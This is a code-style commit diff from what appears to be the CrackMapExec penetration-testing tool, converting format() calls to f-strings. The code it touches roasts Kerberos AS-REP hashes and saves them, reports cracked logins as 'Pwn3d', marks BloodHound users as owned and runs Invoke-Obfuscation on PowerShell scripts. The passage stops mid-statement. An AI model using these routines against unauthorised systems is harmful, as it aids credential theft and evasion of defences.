convert format() to f-string, update single quote to double, and some PEP8 fixes
parent
18c20f116a
commit
e6079e4ddf
47
cme/cmedb.py
47
cme/cmedb.py
|
@ -101,7 +101,7 @@ class DatabaseNavigator(cmd.Cmd):
|
|||
self.config = main_menu.config
|
||||
self.proto = proto
|
||||
self.db = database
|
||||
self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, proto)
|
||||
self.prompt = f"cmedb ({main_menu.workspace})({proto}) > "
|
||||
|
||||
def do_exit(self, line):
|
||||
self.db.shutdown_db()
|
||||
|
@ -306,10 +306,7 @@ class DatabaseNavigator(cmd.Cmd):
|
|||
'password': self.config.get('Empire', 'password')
|
||||
}
|
||||
# Pull the host and port from the config file
|
||||
base_url = 'https://{}:{}'.format(
|
||||
self.config.get('Empire', 'api_host'),
|
||||
self.config.get('Empire', 'api_port')
|
||||
)
|
||||
base_url = f"https://{self.config.get('Empire', 'api_host')}:{self.config.get('Empire', 'api_port')}"
|
||||
|
||||
try:
|
||||
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
|
||||
|
@ -327,7 +324,7 @@ class DatabaseNavigator(cmd.Cmd):
|
|||
else:
|
||||
print("[-] Error authenticating to Empire's RESTful API server!")
|
||||
except ConnectionError as e:
|
||||
print("[-] Unable to connect to Empire's RESTful API server: {}".format(e))
|
||||
print(f"[-] Unable to connect to Empire's RESTful API server: {e}")
|
||||
|
||||
|
||||
class CMEDBMenu(cmd.Cmd):
|
||||
|
@ -339,7 +336,7 @@ class CMEDBMenu(cmd.Cmd):
|
|||
self.config = configparser.ConfigParser()
|
||||
self.config.read(self.config_path)
|
||||
except Exception as e:
|
||||
print("[-] Error reading cme.conf: {}".format(e))
|
||||
print(f"[-] Error reading cme.conf: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
self.conn = None
|
||||
|
@ -392,7 +389,7 @@ class CMEDBMenu(cmd.Cmd):
|
|||
|
||||
if subcommand == 'create':
|
||||
new_workspace = line.split()[1].strip()
|
||||
print("[*] Creating workspace '{}'".format(new_workspace))
|
||||
print(f"[*] Creating workspace '{new_workspace}'")
|
||||
self.create_workspace(new_workspace, self.p_loader, self.protocols)
|
||||
self.do_workspace(new_workspace)
|
||||
elif subcommand == 'list':
|
||||
|
@ -406,7 +403,7 @@ class CMEDBMenu(cmd.Cmd):
|
|||
self.config.set('CME', 'workspace', line)
|
||||
self.write_configfile()
|
||||
self.workspace = line
|
||||
self.prompt = 'cmedb ({}) > '.format(line)
|
||||
self.prompt = f"cmedb ({line}) > "
|
||||
|
||||
def help_workspace(self):
|
||||
help_string = """
|
||||
|
@ -429,21 +426,21 @@ def create_workspace(workspace_name, p_loader, protocols):
|
|||
|
||||
for protocol in protocols.keys():
|
||||
try:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
except KeyError:
|
||||
continue
|
||||
proto_db_path = os.path.join(WORKSPACE_DIR, workspace_name, protocol + '.db')
|
||||
proto_db_path = os.path.join(WORKSPACE_DIR, workspace_name, protocol + ".db")
|
||||
|
||||
if not os.path.exists(proto_db_path):
|
||||
print('[*] Initializing {} protocol database'.format(protocol.upper()))
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = sqlite3.connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute('PRAGMA journal_mode = OFF')
|
||||
c.execute('PRAGMA foreign_keys = 1')
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
getattr(protocol_object, 'database').db_schema(c)
|
||||
getattr(protocol_object, "database").db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
|
@ -455,30 +452,30 @@ def delete_workspace(workspace_name):
|
|||
|
||||
|
||||
def initialize_db(logger):
|
||||
if not os.path.exists(os.path.join(WS_PATH, 'default')):
|
||||
logger.debug('Creating default workspace')
|
||||
os.mkdir(os.path.join(WS_PATH, 'default'))
|
||||
if not os.path.exists(os.path.join(WS_PATH, "default")):
|
||||
logger.debug("Creating default workspace")
|
||||
os.mkdir(os.path.join(WS_PATH, "default"))
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
for protocol in protocols.keys():
|
||||
try:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
except KeyError:
|
||||
continue
|
||||
|
||||
proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db')
|
||||
proto_db_path = os.path.join(WS_PATH, "default", protocol + ".db")
|
||||
|
||||
if not os.path.exists(proto_db_path):
|
||||
logger.debug('Initializing {} protocol database'.format(protocol.upper()))
|
||||
logger.debug(f"Initializing {protocol.upper()} protocol database")
|
||||
conn = sqlite3.connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute('PRAGMA journal_mode = OFF') # could try setting to PERSIST if DB corruption starts occurring
|
||||
c.execute('PRAGMA foreign_keys = 1')
|
||||
c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
# set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash
|
||||
c.execute('PRAGMA busy_timeout = 5000')
|
||||
getattr(protocol_object, 'database').db_schema(c)
|
||||
c.execute("PRAGMA busy_timeout = 5000")
|
||||
getattr(protocol_object, "database").db_schema(c)
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
|
|
@ -8,6 +8,8 @@ from threading import BoundedSemaphore
|
|||
from functools import wraps
|
||||
from time import sleep
|
||||
|
||||
from cme.config import pwned_label
|
||||
from cme.helpers.logger import highlight
|
||||
from cme.logger import cme_logger, CMEAdapter
|
||||
from cme.context import Context
|
||||
|
||||
|
@ -124,7 +126,7 @@ class connection(object):
|
|||
for k, v in vars(self.args).items():
|
||||
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
|
||||
if v is not False and v is not None:
|
||||
self.logger.debug('Calling {}()'.format(k))
|
||||
self.logger.debug(f"Calling {k}()")
|
||||
r = getattr(self, k)()
|
||||
|
||||
def call_modules(self):
|
||||
|
@ -359,3 +361,6 @@ class connection(object):
|
|||
if not self.over_fail_limit(user):
|
||||
if self.kerberos_login(self.domain, user, '', '', aesKey.strip(), self.kdcHost, False):
|
||||
return True
|
||||
|
||||
def mark_pwned(self):
|
||||
return highlight(f"({pwned_label})" if self.admin_privs else "")
|
||||
|
|
|
@ -166,7 +166,7 @@ def main():
|
|||
|
||||
if args.list_modules:
|
||||
for name, props in sorted(modules.items()):
|
||||
cme_logger.display('{:<25} {}'.format(name, props['description']))
|
||||
cme_logger.display(f"{name:<25} {props['description']}")
|
||||
sys.exit(0)
|
||||
elif args.module and args.show_module_options:
|
||||
for module in args.module:
|
||||
|
|
|
@ -22,7 +22,7 @@ def first_run_setup(logger=cme_logger):
|
|||
folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots']
|
||||
for folder in folders:
|
||||
if not os.path.exists(os.path.join(CME_PATH, folder)):
|
||||
logger.display("Creating missing folder {}".format(folder))
|
||||
logger.display(f"Creating missing folder {folder}")
|
||||
os.mkdir(os.path.join(CME_PATH, folder))
|
||||
|
||||
initialize_db(logger)
|
||||
|
|
|
@ -13,7 +13,7 @@ def add_user_bh(user, domain, logger, config):
|
|||
except:
|
||||
from neo4j import GraphDatabase
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
uri = "bolt://{}:{}".format(config.get('BloodHound', 'bh_uri'), config.get('BloodHound', 'bh_port'))
|
||||
uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
|
||||
|
||||
driver = GraphDatabase.driver(uri, auth=(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')), encrypted=False)
|
||||
try:
|
||||
|
@ -28,19 +28,24 @@ def add_user_bh(user, domain, logger, config):
|
|||
account_type = 'User'
|
||||
|
||||
result = tx.run(
|
||||
"MATCH (c:{} {{name:\"{}\"}}) RETURN c".format(account_type, user_owned))
|
||||
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) RETURN c"
|
||||
)
|
||||
|
||||
if result.data()[0]['c'].get('owned') in (False, None):
|
||||
logger.debug("MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned))
|
||||
logger.debug(
|
||||
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name"
|
||||
)
|
||||
result = tx.run(
|
||||
"MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned))
|
||||
logger.highlight("Node {} successfully set as owned in BloodHound".format(user_owned))
|
||||
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name"
|
||||
)
|
||||
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
|
||||
except AuthError as e:
|
||||
logger.error(
|
||||
"Provided Neo4J credentials ({}:{}) are not valid.".format(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')))
|
||||
f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid."
|
||||
)
|
||||
return
|
||||
except ServiceUnavailable as e:
|
||||
logger.error("Neo4J does not seem to be available on {}.".format(uri))
|
||||
logger.error(f"Neo4J does not seem to be available on {uri}.")
|
||||
return
|
||||
except Exception as e:
|
||||
logger.error("Unexpected error with Neo4J")
|
||||
|
|
|
@ -6,13 +6,13 @@ from termcolor import colored
|
|||
|
||||
|
||||
def write_log(data, log_name):
|
||||
logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
|
||||
with open(os.path.join(logs_dir, log_name), 'w') as log_output:
|
||||
logs_dir = os.path.join(os.path.expanduser("~/.cme"), "logs")
|
||||
with open(os.path.join(logs_dir, log_name), "w") as log_output:
|
||||
log_output.write(data)
|
||||
|
||||
|
||||
def highlight(text, color='yellow'):
|
||||
if color == 'yellow':
|
||||
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
|
||||
elif color == 'red':
|
||||
return u'{}'.format(colored(text, 'red', attrs=['bold']))
|
||||
def highlight(text, color="yellow"):
|
||||
if color == "yellow":
|
||||
return f"{colored(text, 'yellow', attrs=['bold'])}"
|
||||
elif color == "red":
|
||||
return f"{colored(text, 'red', attrs=['bold'])}"
|
||||
|
|
|
@ -42,11 +42,7 @@ def obfs_ps_script(path_to_script):
|
|||
|
||||
cme_logger.display('Performing one-time script obfuscation, go look at some memes cause this can take a bit...')
|
||||
|
||||
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "TOKEN,ALL,1,OUT {}" -Quiet\''.format(
|
||||
get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
|
||||
get_ps_script(path_to_script),
|
||||
obfs_ps_script
|
||||
)
|
||||
invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'"
|
||||
cme_logger.debug(invoke_obfs_command)
|
||||
|
||||
with open(os.devnull, 'w') as devnull:
|
||||
|
|
|
@ -19,26 +19,26 @@ class ModuleLoader:
|
|||
Check if a module has the proper attributes
|
||||
"""
|
||||
module_error = False
|
||||
if not hasattr(module, 'name'):
|
||||
self.logger.error('{} missing the name variable'.format(module_path))
|
||||
if not hasattr(module, "name"):
|
||||
self.logger.error(f"{module_path} missing the name variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, 'description'):
|
||||
self.logger.error('{} missing the description variable'.format(module_path))
|
||||
elif not hasattr(module, "description"):
|
||||
self.logger.error(f"{module_path} missing the description variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, 'supported_protocols'):
|
||||
self.logger.error('{} missing the supported_protocols variable'.format(module_path))
|
||||
elif not hasattr(module, "supported_protocols"):
|
||||
self.logger.error(f"{module_path} missing the supported_protocols variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, 'opsec_safe'):
|
||||
self.logger.error('{} missing the opsec_safe variable'.format(module_path))
|
||||
elif not hasattr(module, "opsec_safe"):
|
||||
self.logger.error(f"{module_path} missing the opsec_safe variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, 'multiple_hosts'):
|
||||
self.logger.error('{} missing the multiple_hosts variable'.format(module_path))
|
||||
elif not hasattr(module, "multiple_hosts"):
|
||||
self.logger.error(f"{module_path} missing the multiple_hosts variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, 'options'):
|
||||
self.logger.error('{} missing the options function'.format(module_path))
|
||||
elif not hasattr(module, "options"):
|
||||
self.logger.error(f"{module_path} missing the options function")
|
||||
module_error = True
|
||||
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
|
||||
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
|
||||
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
|
||||
self.logger.error(f"{module_path} missing the on_login/on_admin_login function(s)")
|
||||
module_error = True
|
||||
# elif not hasattr(module, 'chain_support'):
|
||||
# self.logger.error('{} missing the chain_support variable'.format(module_path))
|
||||
|
@ -59,7 +59,7 @@ class ModuleLoader:
|
|||
if self.module_is_sane(module, module_path):
|
||||
return module
|
||||
except Exception as e:
|
||||
self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
|
||||
self.logger.error(f"Failed loading module at {module_path}: {e}")
|
||||
return None
|
||||
|
||||
def init_module(self, module_path):
|
||||
|
@ -103,7 +103,7 @@ class ModuleLoader:
|
|||
if self.module_is_sane(module_spec, module_path):
|
||||
return module
|
||||
except Exception as e:
|
||||
self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
|
||||
self.logger.error(f"Failed loading module at {module_path}: {e}")
|
||||
return None
|
||||
|
||||
def list_modules(self):
|
||||
|
|
|
@ -37,7 +37,7 @@ class CMEAdapter(logging.LoggerAdapter):
|
|||
This is used instead of process() since process() applies to _all_ messages, including debug calls
|
||||
"""
|
||||
if self.extra is None:
|
||||
return u'{}'.format(msg), kwargs
|
||||
return f"{msg}", kwargs
|
||||
|
||||
if 'module_name' in self.extra.keys():
|
||||
if len(self.extra["module_name"]) > 8:
|
||||
|
@ -57,12 +57,7 @@ class CMEAdapter(logging.LoggerAdapter):
|
|||
else:
|
||||
module_name = colored(self.extra["protocol"], 'blue', attrs=["bold"])
|
||||
|
||||
return '{:<24} {:<15} {:<6} {:<16} {}'.format(
|
||||
module_name,
|
||||
self.extra["host"],
|
||||
self.extra["port"],
|
||||
self.extra["hostname"] if self.extra["hostname"] else "NONE",
|
||||
msg), kwargs
|
||||
return f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs
|
||||
|
||||
def display(self, msg, *args, **kwargs):
|
||||
"""
|
||||
|
|
|
@ -234,7 +234,7 @@ class ldap(connection):
|
|||
|
||||
def get_os_arch(self):
|
||||
try:
|
||||
string_binding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
|
||||
string_binding = fr"ncacn_ip_tcp:{self.host}[135]"
|
||||
transport = DCERPCTransportFactory(string_binding)
|
||||
transport.set_connect_timeout(5)
|
||||
dce = transport.get_dce_rpc()
|
||||
|
@ -251,7 +251,7 @@ class ldap(connection):
|
|||
dce.disconnect()
|
||||
return 64
|
||||
except Exception as e:
|
||||
self.logger.fail('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
|
||||
self.logger.fail(f"Error retrieving os arch of {self.host}: {str(e)}")
|
||||
|
||||
return 0
|
||||
|
||||
|
@ -310,28 +310,25 @@ class ldap(connection):
|
|||
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
self.output_filename = os.path.expanduser(
|
||||
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
|
||||
)
|
||||
self.output_filename = self.output_filename.replace(":", "-")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
if self.args.no_smb:
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "389"
|
||||
self.logger.display(u"Connecting to LDAP {}".format(self.hostname))
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
self.logger.display(f"Connecting to LDAP {self.hostname}")
|
||||
# self.logger.display(self.endpoint)
|
||||
else:
|
||||
self.logger.extra['protocol'] = "SMB" if not self.no_ntlm else "LDAP"
|
||||
self.logger.extra['port'] = "445" if not self.no_ntlm else "389"
|
||||
self.logger.success(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(
|
||||
self.server_os,
|
||||
' x{}'.format(self.os_arch) if self.os_arch else '',
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.signing,
|
||||
self.smbv1)
|
||||
)
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
|
||||
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
|
||||
self.logger.success(
|
||||
f"{self.server_os}{' x{}'.format(self.os_arch) if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})"
|
||||
)
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
# self.logger.display(self.endpoint)
|
||||
return True
|
||||
|
||||
|
@ -347,8 +344,8 @@ class ldap(connection):
|
|||
nthash = ''
|
||||
self.username = username
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(':') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
self.hash = nthash
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
|
@ -358,12 +355,12 @@ class ldap(connection):
|
|||
if nthash:
|
||||
self.nthash = nthash
|
||||
|
||||
if self.password == '' and self.args.asreproast:
|
||||
if self.password == "" and self.args.asreproast:
|
||||
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||
if hash_tgt:
|
||||
self.logger.highlight(u'{}'.format(hash_tgt))
|
||||
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + '\n')
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
return False
|
||||
|
||||
if not all('' == s for s in [self.nthash, password, aesKey]):
|
||||
|
@ -393,16 +390,10 @@ class ldap(connection):
|
|||
|
||||
self.check_if_admin()
|
||||
|
||||
out = u'{}\\{}{} {}'.format(
|
||||
domain,
|
||||
self.username,
|
||||
# Show what was used between cleartext, nthash, aesKey and ccache
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
out = f"{domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
|
||||
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
|
@ -411,35 +402,26 @@ class ldap(connection):
|
|||
return True
|
||||
except SessionKeyDecryptionError:
|
||||
# for PRE-AUTH account
|
||||
self.logger.success(u'{}\\{}{} {}'.format(
|
||||
domain,
|
||||
self.username,
|
||||
" account vulnerable to asreproast attack",
|
||||
""),
|
||||
self.logger.success(
|
||||
f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}",
|
||||
color='yellow'
|
||||
)
|
||||
return False
|
||||
except SessionError as e:
|
||||
error, desc = e.getErrorString()
|
||||
self.logger.fail(u'{}\\{}{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
str(error)),
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(error)}",
|
||||
color='magenta' if error in ldap_error_status else 'red'
|
||||
)
|
||||
return False
|
||||
except (KeyError, KerberosException, OSError) as e:
|
||||
self.logger.fail(u'{}\\{}{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
str(e)),
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(e)}",
|
||||
color='red'
|
||||
)
|
||||
return False
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find('strongerAuthRequired') >= 0:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
|
@ -463,14 +445,10 @@ class ldap(connection):
|
|||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = u'{}\\{} {}'.format(
|
||||
domain,
|
||||
self.username,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
out = f"{domain}\\{self.username} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
|
||||
|
||||
self.logger.extra['protocol'] = "LDAPS"
|
||||
self.logger.extra['port'] = "636"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
|
@ -479,31 +457,22 @@ class ldap(connection):
|
|||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(u'{}\\{}:{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if error_code in ldap_error_status else 'red'
|
||||
)
|
||||
return False
|
||||
except SessionError as e:
|
||||
error, desc = e.getErrorString()
|
||||
self.logger.fail(u'{}\\{}{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
str(error)),
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(error)}",
|
||||
color='magenta' if error in ldap_error_status else 'red'
|
||||
)
|
||||
return False
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(u'{}\\{}{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if error_code in ldap_error_status else 'red'
|
||||
)
|
||||
return False
|
||||
|
@ -513,11 +482,11 @@ class ldap(connection):
|
|||
self.password = password
|
||||
self.domain = domain
|
||||
|
||||
if self.password == '' and self.args.asreproast:
|
||||
if self.password == "" and self.args.asreproast:
|
||||
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||
if hash_tgt:
|
||||
self.logger.highlight(u'{}'.format(hash_tgt))
|
||||
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + '\n')
|
||||
return False
|
||||
|
||||
|
@ -531,15 +500,10 @@ class ldap(connection):
|
|||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = u'{}\\{}:{} {}'.format(
|
||||
domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
out = f"{domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
|
||||
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
|
@ -547,7 +511,7 @@ class ldap(connection):
|
|||
if not self.args.continue_on_success:
|
||||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find('strongerAuthRequired') >= 0:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
|
@ -558,14 +522,9 @@ class ldap(connection):
|
|||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = u'{}\\{}:{} {}'.format(
|
||||
domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
self.logger.extra['protocol'] = "LDAPS"
|
||||
self.logger.extra['port'] = "636"
|
||||
out = f"{domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
|
@ -574,42 +533,32 @@ class ldap(connection):
|
|||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(u'{}\\{}:{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||
)
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(u'{}\\{}:{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||
)
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(u'{}\\{}:{} {} \nError: {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
